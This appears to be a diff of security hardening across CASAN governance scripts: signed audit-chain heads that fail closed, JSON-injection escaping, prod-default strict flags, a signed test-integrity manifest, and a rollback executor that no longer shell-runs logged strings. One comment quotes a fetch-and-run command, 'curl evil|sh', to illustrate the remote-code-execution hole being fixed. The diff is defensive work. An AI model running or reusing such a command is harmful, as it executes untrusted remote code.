"$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" "$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" >> "$AUDIT_LOG"
|
||||
trace = {**rec, "reasons": reasons}
|
||||
with open(trace_file, "w", encoding="utf-8") as f:
|
||||
json.dump(trace, f, indent=2)
|
||||
f.write("\n")
|
||||
with open(audit_log, "a", encoding="utf-8") as f:
|
||||
# Compact separators: the chain line is regex-parsed elsewhere and must match
|
||||
# the original printf format (no space after ':' / ',').
|
||||
f.write(json.dumps(rec, separators=(",", ":")) + "\n")
|
||||
PY
|
||||
|
||||
# --- External anchor: cryptographically sign the new chain head ---
|
||||
# A re-forged chain (recomputed hashes) changes the head; without the private
|
||||
@@ -186,16 +196,27 @@ if command -v openssl >/dev/null 2>&1; then
|
||||
AUDIT_PUB="$PUB_DIR/audit-public.pem"
|
||||
mkdir -p "$PUB_DIR" "$PRIV_DIR"
|
||||
if [[ ! -f "$AUDIT_PRIV" ]]; then
|
||||
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null
|
||||
chmod 600 "$AUDIT_PRIV"
|
||||
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||
# SEC-02 (H-02): in enforced mode NEVER auto-generate a local signing key.
|
||||
# A freshly-minted key next to the data lets any file-writer re-sign a forged
|
||||
# head. Prod must provision the key out-of-band (KMS/HSM — see sign-audit-head.sh
|
||||
# Vault path). With no key we skip signing; the head stays unsigned and SEC-01
|
||||
# strict verification then FAILS CLOSED.
|
||||
echo "AUDIT_SIGN_SKIPPED_ENFORCED no off-repo/KMS key provisioned; head left unsigned (verify fails closed)" >&2
|
||||
else
|
||||
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null
|
||||
chmod 600 "$AUDIT_PRIV"
|
||||
fi
|
||||
fi
|
||||
if [[ -f "$AUDIT_PRIV" ]]; then
|
||||
# Always re-export the public key so it matches the private key we sign with.
|
||||
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
|
||||
# with a freshly checked-out audit-public.pem (e.g. one committed after a
|
||||
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
|
||||
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
|
||||
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
|
||||
openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
|
||||
fi
|
||||
# Always re-export the public key so it matches the private key we sign with.
|
||||
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
|
||||
# with a freshly checked-out audit-public.pem (e.g. one committed after a
|
||||
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
|
||||
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
|
||||
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
|
||||
openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
if [[ "$DECISION" != "approved" ]]; then
|
||||
|
||||
@@ -71,10 +71,15 @@ else
|
||||
casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER"
|
||||
fi
|
||||
|
||||
# SEC-05 (M-05): the keyless printf fallback below must not permit JSON injection
|
||||
# either — strip quotes/backslashes/newlines from interpolated fields so a crafted
|
||||
# EVENT/OWNER/SCOPE cannot forge a second incident record.
|
||||
_json_strip() { local s="${1//\\/}"; s="${s//\"/}"; s="${s//$'\n'/ }"; s="${s//$'\r'/ }"; printf '%s' "$s"; }
|
||||
|
||||
# Record a structured incident entry.
|
||||
python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \
|
||||
printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \
|
||||
"$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" >> "$LOG"
|
||||
"$(_json_strip "$TS")" "$(_json_strip "$EVENT")" "$(_json_strip "$SEV")" "$(_json_strip "$OWNER")" "$(_json_strip "$SCOPE")" "$(_json_strip "$ID")" "$(_json_strip "$ACTION")" >> "$LOG"
|
||||
import json, sys
|
||||
log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11]
|
||||
with open(log, "a", encoding="utf-8") as f:
|
||||
|
||||
@@ -12,8 +12,9 @@ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
|
||||
# Opt-in governance preflight (default off ⇒ no change to existing flows).
|
||||
# When enabled, enforces RAI data governance (e.g. PII must not reach a cloud
|
||||
# model without approval) BEFORE the model call.
|
||||
if [[ "${CASAN_PREFLIGHT:-0}" == "1" ]]; then
|
||||
# model without approval) BEFORE the model call. SEC-17 (ARCH-03): default ON under
|
||||
# CASAN_PROFILE=prod (secure-by-default); an explicit CASAN_PREFLIGHT=0 still wins.
|
||||
if [[ "${CASAN_PREFLIGHT:-0}" == "1" || ( -z "${CASAN_PREFLIGHT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||
bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $?
|
||||
fi
|
||||
|
||||
|
||||
@@ -35,8 +35,11 @@ if [[ "$MODE" == "checkpoint" ]]; then
|
||||
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
|
||||
import json, sys
|
||||
log, ts, tx, target, cmd, backup = sys.argv[1:]
|
||||
# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command
|
||||
# is kept only as a human-readable / audit string — `execute` never shell-runs it.
|
||||
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
|
||||
"target": target, "backup": backup, "rollback_command": cmd, "status": "recorded"}
|
||||
"op": "restore_file", "target": target, "backup": backup,
|
||||
"rollback_command": cmd, "status": "recorded"}
|
||||
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
|
||||
PY
|
||||
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
|
||||
@@ -50,8 +53,17 @@ if [[ "$MODE" == "record" ]]; then
|
||||
fi
|
||||
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
|
||||
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
printf '{"timestamp":"%s","transaction_id":"%s","action":"%s","rollback_command":"%s","status":"recorded"}\n' \
|
||||
"$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" >> "$TX_LOG"
|
||||
# SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot
|
||||
# inject a second forged JSON record (a raw printf let a `"`+newline break out).
|
||||
# Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES
|
||||
# to run it — free-form rollback commands are audit-only, never executed.
|
||||
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY'
|
||||
import json, sys
|
||||
log, ts, tx, action, cmd = sys.argv[1:]
|
||||
rec = {"timestamp": ts, "transaction_id": tx, "action": action,
|
||||
"rollback_command": cmd, "status": "recorded"}
|
||||
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
|
||||
PY
|
||||
echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
|
||||
exit 0
|
||||
fi
|
||||
@@ -62,23 +74,54 @@ if [[ "$MODE" == "execute" ]]; then
|
||||
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
|
||||
exit 1
|
||||
fi
|
||||
COMMAND="$(python - "$TX_LOG" "$TX_ID" <<'PY'
|
||||
import json, sys
|
||||
for line in open(sys.argv[1], encoding="utf-8"):
|
||||
rec=json.loads(line)
|
||||
if rec.get("transaction_id")==sys.argv[2]:
|
||||
print(rec.get("rollback_command",""))
|
||||
break
|
||||
# SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that
|
||||
# was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a
|
||||
# STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file":
|
||||
# copy our own backup back over the target, performed in Python via argv (no shell),
|
||||
# and only when the source lives inside our controlled backup dir.
|
||||
PRC=0
|
||||
RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY'
|
||||
import json, os, shutil, sys
|
||||
log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3])
|
||||
rec = None
|
||||
for line in open(log, encoding="utf-8"):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
r = json.loads(line)
|
||||
except ValueError:
|
||||
continue # malformed line: ignore, fail-closed later
|
||||
if r.get("transaction_id") == tx and r.get("action") == "checkpoint":
|
||||
rec = r # last checkpoint for this tx wins
|
||||
if not rec:
|
||||
sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3)
|
||||
op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "")
|
||||
backup = os.path.realpath(rec.get("backup", ""))
|
||||
target = rec.get("target", "")
|
||||
if op != "restore_file" or not backup or not target:
|
||||
sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4)
|
||||
# A forged record cannot point the restore SOURCE at an arbitrary file.
|
||||
if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)):
|
||||
sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5)
|
||||
if not os.path.isfile(backup):
|
||||
sys.stderr.write("backup_missing\n"); sys.exit(6)
|
||||
shutil.copyfile(backup, target) # argv copy — no shell interpretation
|
||||
sys.stdout.write(target)
|
||||
PY
|
||||
)"
|
||||
if [[ -z "$COMMAND" ]]; then
|
||||
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
|
||||
)" || PRC=$?
|
||||
if [[ "$PRC" -ne 0 ]]; then
|
||||
echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2
|
||||
exit 1
|
||||
fi
|
||||
bash -c "$COMMAND"
|
||||
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
printf '{"timestamp":"%s","transaction_id":"%s","status":"rolled_back"}\n' "$TIMESTAMP" "$TX_ID" >> "$TX_LOG"
|
||||
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID"
|
||||
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY'
|
||||
import json, sys
|
||||
log, ts, tx = sys.argv[1:]
|
||||
open(log, "a", encoding="utf-8").write(
|
||||
json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n")
|
||||
PY
|
||||
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
|
||||
@@ -253,8 +253,14 @@ if [[ "$MODE" == "input" ]]; then
|
||||
# silent skip. Off by default so CI without a model stays non-strict.
|
||||
# * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we
|
||||
# keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass).
|
||||
# SEC-17 (ARCH-03): strict is ON when explicitly set, OR unset under prod profile
|
||||
# (secure-by-default). An explicit CASAN_SECURITY_STRICT=0 (internal scans) wins.
|
||||
STRICT_ON=0
|
||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||
STRICT_ON=1
|
||||
fi
|
||||
SEMANTIC_REQUIRED=0
|
||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then
|
||||
if [[ "$STRICT_ON" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then
|
||||
SEMANTIC_REQUIRED=1
|
||||
fi
|
||||
if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then
|
||||
@@ -271,7 +277,7 @@ if [[ "$MODE" == "input" ]]; then
|
||||
MATCHED_RULES+=("semantic-injection")
|
||||
elif [[ -z "$SEM_VERDICT" ]]; then
|
||||
# Model unreachable / no usable verdict.
|
||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then
|
||||
if [[ "$STRICT_ON" == "1" ]]; then
|
||||
STATUS="blocked"; ACTION="block"; RISK_LEVEL="high"
|
||||
MATCHED_RULES+=("semantic-strict-unavailable")
|
||||
casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block"
|
||||
|
||||
@@ -97,6 +97,16 @@ case "$CMD" in
|
||||
fi
|
||||
echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED"
|
||||
else
|
||||
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL,
|
||||
# otherwise deleting telemetry-head.sig after rewriting token counts would pass.
|
||||
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||
MISSING=""
|
||||
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||
echo "TELEMETRY_INTEGRITY_UNSIGNED_STRICT_FAIL head=$HEAD_STORED missing=${MISSING# }" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED"
|
||||
fi
|
||||
;;
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
#!/usr/bin/env python3
|
||||
"""CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
|
||||
|
||||
The test suites live in the same repo an attacker can edit, so "280/0 green" proves
|
||||
nothing if a fail-able adversarial check was quietly deleted or weakened. This tool
|
||||
records, per suite, its content hash and its number of fail-able checks, into a
|
||||
manifest whose head is signed with an OFF-REPO key. CI then re-verifies:
|
||||
|
||||
* a manifested suite that DISAPPEARED -> FAIL (suite removed)
|
||||
* a suite whose fail-able-check count DROPPED -> FAIL (coverage regression)
|
||||
* (enforced mode) an invalid/absent manifest signature -> FAIL (manifest tampered)
|
||||
|
||||
Adding checks/suites is fine (regenerate the manifest); only REMOVING coverage fails.
|
||||
|
||||
Usage:
|
||||
test-integrity.py generate # write + sign the manifest
|
||||
test-integrity.py verify [--strict] # re-check; exit 1 on regression/tamper
|
||||
|
||||
Env: CASAN_TESTS_DIR, CASAN_TEST_MANIFEST, CASAN_TI_KEY_DIR, CASAN_TI_PUB,
|
||||
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature).
|
||||
"""
|
||||
import argparse
|
||||
import glob
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# A "fail-able check" is any assertion call site. Phase suites use `pass "..."`;
|
||||
# the adversarial suite uses `expect_rc <n> "..."`. Counting these makes deleting
|
||||
# or short-circuiting a check reduce the number.
|
||||
CHECK_RE = re.compile(r'(?:(?<![\w])pass\s+")|(?:\bexpect_rc\s)')
|
||||
|
||||
|
||||
def project_root() -> str:
|
||||
return os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", ".."))
|
||||
|
||||
|
||||
def tests_dir() -> str:
|
||||
return os.environ.get("CASAN_TESTS_DIR") or os.path.join(project_root(), ".specify/tests")
|
||||
|
||||
|
||||
def manifest_path() -> str:
|
||||
return os.environ.get("CASAN_TEST_MANIFEST") or os.path.join(tests_dir(), "test-integrity-manifest.json")
|
||||
|
||||
|
||||
def _enforced() -> bool:
|
||||
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
|
||||
|
||||
|
||||
def suite_files():
|
||||
d = tests_dir()
|
||||
files = []
|
||||
for pat in ("phase*.sh", "adversarial*.sh", "run-casan*.sh"):
|
||||
files.extend(glob.glob(os.path.join(d, pat)))
|
||||
# Exclude the integrity suite itself to avoid a self-reference cycle.
|
||||
return sorted(f for f in files if os.path.basename(f) != "phase-sec18-tests.sh")
|
||||
|
||||
|
||||
def scan(path):
|
||||
data = open(path, "rb").read()
|
||||
text = data.decode("utf-8", errors="replace")
|
||||
checks = len(CHECK_RE.findall(text))
|
||||
return {"sha256": hashlib.sha256(data).hexdigest(), "checks": checks}
|
||||
|
||||
|
||||
def build_manifest():
|
||||
suites = {os.path.basename(f): scan(f) for f in suite_files()}
|
||||
total = sum(s["checks"] for s in suites.values())
|
||||
return {"suites": suites, "total_checks": total, "suite_count": len(suites)}
|
||||
|
||||
|
||||
def manifest_head(manifest) -> str:
|
||||
core = json.dumps(manifest["suites"], sort_keys=True, separators=(",", ":"))
|
||||
return hashlib.sha256(core.encode()).hexdigest()
|
||||
|
||||
|
||||
# --- signing (off-repo key; pubkey provisioned out-of-band / KMS in prod) ------
|
||||
def _priv():
|
||||
d = os.environ.get("CASAN_TI_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
|
||||
return os.path.join(d, "test-integrity-private.pem")
|
||||
|
||||
|
||||
def _pub():
|
||||
return os.environ.get("CASAN_TI_PUB") or (manifest_path() + ".pub")
|
||||
|
||||
|
||||
def _sig():
|
||||
return manifest_path() + ".sig"
|
||||
|
||||
|
||||
def _head_file():
|
||||
return manifest_path() + ".head"
|
||||
|
||||
|
||||
def sign(manifest):
|
||||
head = manifest_head(manifest)
|
||||
open(_head_file(), "w", encoding="utf-8").write(head)
|
||||
ossl = shutil.which("openssl")
|
||||
if not ossl:
|
||||
return
|
||||
priv, pub = _priv(), _pub()
|
||||
os.makedirs(os.path.dirname(priv), exist_ok=True)
|
||||
if not os.path.isfile(priv):
|
||||
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
|
||||
capture_output=True)
|
||||
try:
|
||||
os.chmod(priv, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
|
||||
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
|
||||
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
|
||||
|
||||
|
||||
def check_signature(manifest):
|
||||
ossl = shutil.which("openssl")
|
||||
if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
|
||||
return "unsigned"
|
||||
if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
|
||||
return "invalid"
|
||||
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
|
||||
capture_output=True)
|
||||
return "signed" if res.returncode == 0 else "invalid"
|
||||
|
||||
|
||||
def do_generate():
|
||||
manifest = build_manifest()
|
||||
with open(manifest_path(), "w", encoding="utf-8") as fh:
|
||||
json.dump(manifest, fh, indent=2)
|
||||
fh.write("\n")
|
||||
sign(manifest)
|
||||
print(f"TEST_INTEGRITY_GENERATED suites={manifest['suite_count']} total_checks={manifest['total_checks']}")
|
||||
return 0
|
||||
|
||||
|
||||
def do_verify(strict):
|
||||
mp = manifest_path()
|
||||
if not os.path.isfile(mp):
|
||||
# No manifest provisioned. Enforced mode fails closed; dev/CI skips cleanly.
|
||||
if strict or _enforced():
|
||||
print("TEST_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
|
||||
return 1
|
||||
print("TEST_INTEGRITY_SKIP no manifest (run: test-integrity.py generate)")
|
||||
return 0
|
||||
manifest = json.load(open(mp, encoding="utf-8"))
|
||||
current = {os.path.basename(f): scan(f) for f in suite_files()}
|
||||
|
||||
regressions = []
|
||||
for name, rec in manifest.get("suites", {}).items():
|
||||
if name not in current:
|
||||
regressions.append(f"{name}:suite_removed")
|
||||
elif current[name]["checks"] < rec["checks"]:
|
||||
regressions.append(f"{name}:checks_dropped({rec['checks']}->{current[name]['checks']})")
|
||||
|
||||
sig_state = check_signature(manifest)
|
||||
if sig_state == "invalid":
|
||||
print("TEST_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
|
||||
return 1
|
||||
if sig_state == "unsigned" and (strict or _enforced()):
|
||||
print("TEST_INTEGRITY_FAIL manifest_unsigned_in_strict_mode", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
if regressions:
|
||||
print("TEST_INTEGRITY_FAIL coverage_regression " + " ".join(regressions), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
cur_total = sum(v["checks"] for k, v in current.items() if k in manifest.get("suites", {}))
|
||||
print(f"TEST_INTEGRITY_OK suites={len(manifest.get('suites', {}))} "
|
||||
f"manifest_checks={manifest.get('total_checks')} current_checks={cur_total} anchor={sig_state}")
|
||||
return 0
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser()
|
||||
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||
sub.add_parser("generate")
|
||||
v = sub.add_parser("verify")
|
||||
v.add_argument("--strict", action="store_true")
|
||||
args = ap.parse_args()
|
||||
if args.cmd == "generate":
|
||||
return do_generate()
|
||||
if args.cmd == "verify":
|
||||
return do_verify(args.strict)
|
||||
return 2
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -84,5 +84,20 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
|
||||
fi
|
||||
echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
||||
else
|
||||
# SEC-01 (H-01): in enforced mode a missing/unverifiable signature is a FAILURE,
|
||||
# not "valid unsigned". Otherwise deleting audit-head.sig (or the pubkey) after
|
||||
# tampering + recomputing the chain would pass verification. Permissive mode
|
||||
# (dev default) keeps the previous unsigned-OK behaviour. Self-contained check
|
||||
# (this script is copied into sandboxes by tests, so it must not source common.sh):
|
||||
# CASAN_PROFILE=prod (SEC-17) enables all enforce flags; CASAN_VERIFY_STRICT=1 this one.
|
||||
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||
MISSING=""
|
||||
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
|
||||
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||
echo "AUDIT_CHAIN_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
||||
fi
|
||||
|
||||
@@ -56,5 +56,16 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
|
||||
fi
|
||||
echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
||||
else
|
||||
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL.
|
||||
# Self-contained (this script is copied into sandboxes by tests — no common.sh).
|
||||
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||
MISSING=""
|
||||
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
|
||||
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||
echo "TOOL_AUDIT_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
||||
fi
|
||||
|
||||
Reference in New Issue
Block a user